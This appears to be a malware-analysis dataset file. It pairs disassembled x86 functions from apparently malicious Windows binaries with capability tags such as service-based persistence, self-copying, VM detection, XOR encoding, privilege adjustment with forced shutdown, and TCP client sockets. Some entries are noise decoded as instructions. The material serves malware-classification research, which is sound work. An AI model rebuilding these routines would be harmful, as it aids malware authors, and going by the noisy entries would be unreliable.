joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4048ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e98], 0
jne 0x40492a
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x404821
push eax
push closesocket
call fcn.00404586
add esp, 0x18
jmp 0x404966
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a88
call fcn.004073c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x40478d
push eax
push closesocket
call fcn.00404604
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e9c], eax
jne 0x404a47
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push 0x40f769
push eax
call fcn.004073c0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.004074b0
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c61c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073c0
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a24
inc esi
cmp esi, 0xa
jl 0x40498b
lea eax, [ebp - 0x18]
push eax
push 0x491984
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
push 0x491b8c
call fcn.004073c0
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b9c
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bd7
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bd7
cmp byte [ecx + 1], 0x5a
jne 0x404bd7
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bd7
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4053e8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004046ab
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d94
call fcn.00407360
push esi
push edi
push 0x491c90
call fcn.00407360
push esi
push edi
push 0x491b8c
call fcn.00407360
push esi
push edi
push 0x491a88
call fcn.00407360
push esi
push edi
push 0x491984
call fcn.00407360
add esp, 0x40
push 0x40e0d0
push 0x1ebc
push 0x40e0d4
call fcn.00403529
push 0x491ea0
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491ea8], edi
mov dword [0x491e98], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4054a8
cmp dword [ebp - 0x8c], ebx
jne 0x4054a8
mov dword [0x491ea8], ebx
call fcn.004048ef
mov esi, 0x7d000
push esi
call fcn.00407bff
cmp eax, edi
pop ecx
mov dword [0x491980], eax
jne 0x4054c6
xor eax, eax
jmp 0x4054ea
push esi
push edi
push eax
call fcn.00407360
call fcn.004055a8
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.0040530f
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a8
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x40fb6f
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x40fc6f
je 0x40560d
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491eb0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491eac], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491eb4], eax
push 3
push 0x40fb6f
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405637
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491eb8], eax
mov edi, 0x40fda4
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405658
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491ebc], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fd8
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b8c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1ed0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e98], ebx
mov edi, 0x491984
je 0x406964
push esi
push edi
push 0x491a88
push closesocket
call fcn.00404540
push 1
push 0x40fb6f
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push 0x40fc6f
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491e98], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491ea0], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fd8
ret
Function at 0x406ab2
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21e4
call fcn.00407bd0
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406ae6
push dword [ebp + 8]
call fcn.0040471a
test eax, eax
pop ecx
jne 0x406c24
mov edi, 0x40fd50
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b0a
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x40f1dc
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b2f
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406c24
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1ed0
lea eax, [ebp - 0x21e4]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [ebp - 0x21e4]
mov byte [ebp - 0x11d0], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054ef
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073c0
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073d0
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050fd
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406dbf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406dd1
cmp word [ebp - 0xe], 6
jne 0x406dd1
and dword [0x491ea4], 0
cmp ax, 7
mov dword [0x491ea8], ebx
jne 0x406e0a
mov dword [0x491ea4], ebx
cmp ax, bx
jne 0x406e15
mov dword [0x491ea4], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d66
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406e17
push 0x1b7740
call edi
call fcn.00406da8
push 0xffffffffffffffff
call edi
jmp 0x406dd1
Function at 0x406f66
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push edi
push 0x4015ff
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x4060cd
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x40684b
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x405e44
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406e45
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406a3b
push edi
push edi
call esi
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push edi
push ebx
push 0x4069ee
push edi
push edi
call esi
inc ebx
cmp ebx, 0x1a
jl 0x406fd1
call fcn.00406dbf
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407056
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.004053e8
test eax, eax
je 0x4070cb
call fcn.0040686a
cmp byte [0x40f0d4], 0
je 0x407094
push 0x40f0d4
call fcn.004058ed
test eax, eax
pop ecx
jne 0x4070cb
cmp dword [0x491ea0], 0
je 0x4070bd
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x491984
push eax
mov dword [ebp - 0xc], 0x407037
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.00404b20
test eax, eax
je 0x4070cb
call fcn.00406f66
xor eax, eax
leave
ret 0x10
Function at 0x40a985
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x411498
cmp edx, dword [eax]
je 0x40a9a7
add eax, 8
inc ecx
cmp eax, 0x411528
jl 0x40a998
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x411498]
jne 0x40aad5
mov eax, dword [0x491ed0]
cmp eax, 1
je 0x40aaaf
test eax, eax
jne 0x40a9d8
cmp dword [0x4110c4], 1
je 0x40aaaf
cmp edx, 0xfc
je 0x40aad5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40aa0f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004073c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004074b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40aa52
lea eax, [ebp - 0x1a4]
push eax
call fcn.004074b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b0
push edi
call fcn.0040ac30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004073c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004073d0
lea eax, [ebp - 0xa0]
push 0x40d590
push eax
call fcn.004073d0
push dword [esi + 0x41149c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004073d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040bd08
add esp, 0x2c
pop edi
jmp 0x40aad5
lea eax, [ebp + 8]
lea esi, [esi + 0x41149c]
push 0
push eax
push dword [esi]
call fcn.004074b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x5ae64e
Capabilities:
Check for vm using instruction vpcext

Disassembly:
cli
inc eax
mov al, byte [0x8fbb2454]
sbb eax, 0xa16eb853
imul dx, ax, 0xe89d
xchg edx, eax
dec ebx
pushfd
invalid

Function at 0x5f99ae
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x14
dec ecx
and bx, word [ebx - 0x24055b42]
mov edi, 0xd688d5dc
ret 0x55b7
push es
cmc
and eax, 0xc46a7d4d
cmp dword [esi + 0x55], esp
rol dword [edx + 0x37], 1
ljmp 0xf471
jg 0x5f9975
pop ds
cmp edx, dword [ebx]
adc dword [edx - 0x7d], esp
jmp 0x5f9979
int3
jae 0x5f9942
int1
dec edi
mov eax, 0x68cfcaf1
outsd dx, dword [esi]
adc al, 0x54
and bl, bl
fstp dword [edx + 0x13451608]
dec esi
aaa
loopne 0x5f992c
adc al, 0xf1
pop ebx
cmc
test byte [ebp + 0x11b04f1], dl
fcomp st(5)
jp 0x5f9a15
pop edx
pop ebx
inc eax
push esp
adc eax, 0x741b0471
movsb byte es:[edi], byte [esi]
or bl, byte ss:[esi + edx + 0x56]
push esi
push esi
adc dl, bh
xor byte [esp + edx*8 - 0x64612b07], 0xe9
loop 0x5f996b
les edx, [ecx - 0x49]
mov cl, 0x69
push eax
cmp cl, byte [ecx - 0x7d]
or al, 0x76
je 0x5f9a2c
bound esp, qword [ecx - 0x3d]
movsb byte es:[edi], byte [esi]
dec eax
push esi
add dword [ecx - 0x32], edi
arpl word [esp + edi*8 - 9], ax
mov byte [0xc485ff04], al
xchg edx, eax
mov al, byte [0x32b414b1]
sub eax, 0xd22a4027
adc dl, ah
je 0x5f9a43
mov ebp, 0xa43110f5
in eax, 0x32
add byte [ecx + 0x63], ch
int1
invalid
cld
sal dh, 1
mov eax, dword [0xb7943621]
int 0xdf
mul byte [ebx + 0x50]
add dword ss:[edx + 0x65], ebx
and esi, dword [edx]
xor al, 0xe2
xor byte [ebx + 0x47146f5c], dh
pop esp
outsd dx, dword [esi]
adc al, 0x47
mov al, byte [0xfd94a4b0]
invalid
test ch, dh
aam 0xd5
invalid
aad 0x55
mov eax, dword [0x44547440]
add byte fs:[ebp], dl
rcr dword ss:[eax], 0x90
in al, 0xa8
sbb al, 0xb0
mov byte [0xb4d6441b], al
out 0xfc, al
ja 0x5f9aa5
xor al, 0xd6
cmp dh, dh
jae 0x5f9ada
je 0x5f9a6f
les edx, [ebp + 0x40]
and al, 0x45
xor al, 0xf4
mov ah, 0xb0
aam 0x93
push eax
and al, 0xfb
test ch, ah
movsb byte es:[edi], byte [esi]
test byte [edx], al
les esi, [ebp + 0x4cc08484]
jne 0x5f9a22
push esp
dec ecx
ja 0x5f9aea
pop ebx
mov byte [0xfd52249d], al
add byte [edi], 0xd4
inc ebp
pop edi
enter 0xffffffffffff8863, 0x2f
xchg esi, eax
jge 0x5f9a36
adc dword [edi + 0x15658982], ebx
or byte [eax + 0x34], bh
js 0x5f9adb
test byte [eax + 0x14], ah
xor byte [edx + eax*4 - 0x580ab7a4], dh
mov ch, 0x40
mov eax, dword [edx + 0x2de79729]
in al, dx
push ss
mov esi, 0xabf309f8
shl dword [edi + 0x11], 1
add eax, 0xbe1517a0
sub al, 0xa6
push ebp
invalid
cmc
jno 0x5f9b26
imul edx, dword [edx + 0x3858cd8f], 0x6f60c945
cmp ebp, dword [eax - 0x1ae9c4f3]
mov ecx, 0x1504385f
mov ch, 0xa8
je 0x5f9b30
cmp edx, dword [esi]
in eax, 0xb9
pop edi
cmp byte [edx + 0x3a74a8b5], al
popfd
sbb byte [eax*4 - 0x315f5a1e], dh
xor byte [eax], ch
invalid
jns 0x5f9b28
xchg esi, eax
and dword [ecx + 0x54], ecx
push 0xe92b07e7
push ss
sbb cl, dh
mov al, 0x26
mov ecx, 0xb858a0a9
into
popal
jmp 0x5f9b46
jmp 0xb150b34b
or byte [eax + 0x27], ch
add eax, 0x3501e79f
pop eax
or bh, bh
hlt
Function at 0x10003110
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000312a
sub dword [edx], ebp
sub ebx, dword [eax + 0x6a]
add byte [edx], ch
pop eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 1
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.DLL_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003163
xor eax, eax
jmp 0x10003172
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003180
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000319a
sub dword [edx], ebp
sub ebx, dword [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.DLL_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.DLL_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100031bb
xor eax, eax
jmp 0x100031d9
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.DLL_StartServiceA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10003290
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push eax
xor eax, eax
xor eax, eax
nop
nop
nop
nop
je 0x100032aa
sub dword [edx], ebp
sub ebx, dword [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.DLL_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.DLL_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100032cb
xor eax, eax
jmp 0x100032eb
lea edx, [ebp - 0x20]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.DLL_ControlService]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10003300
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
xor eax, eax
xor eax, eax
je 0x1000331a
sub dword [edx], ebp
sub ebx, dword [eax + 0x68]
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.DLL_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.DLL_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000333b
xor eax, eax
jmp 0x10003355
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.DLL_DeleteService]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.DLL_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100036e0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x24], ecx
push eax
xor eax, eax
xor eax, eax
je 0x100036fa
sub dword [edx], ebp
sub ebx, dword [eax - 0x39]
inc ebp
in al, 1
add byte [eax], al
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetCurrentThread
pop eax
mov dword [ebp - 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push 0x100140e0
push 0
call dword [sym.imp.ADVAPI32.DLL_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], 2
push 2
call dword [sym.imp.ADVAPI32.DLL_ImpersonateSelf]
lea eax, [ebp - 0x20]
push eax
push 1
push 0x20
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.DLL_OpenThreadToken]
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.DLL_AdjustTokenPrivileges]
cmp dword [ebp + 8], 0
je 0x10003771
push 4
push 8
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x1000377b
push 4
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10006160
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000617a
sub dword [edx], ebp
sub ebx, dword [eax + 0x66]
mov dword [ebp - 0x10], 0xc0330000
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x120], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x10006270
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x10006208
xor eax, eax
jmp 0x10006357
mov word [ebp - 0x138], 0
xor edx, edx
mov dword [ebp - 0x136], edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov word [ebp - 0x12a], dx
mov eax, dword [ebp - 0x13c]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x134]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
jne 0x100062b7
xor eax, eax
jmp 0x10006357
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100062e2
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x124], 1
push 4
lea edx, [ebp - 0x124]
push edx
push 1
push 6
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000631b
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10006351
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006357
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret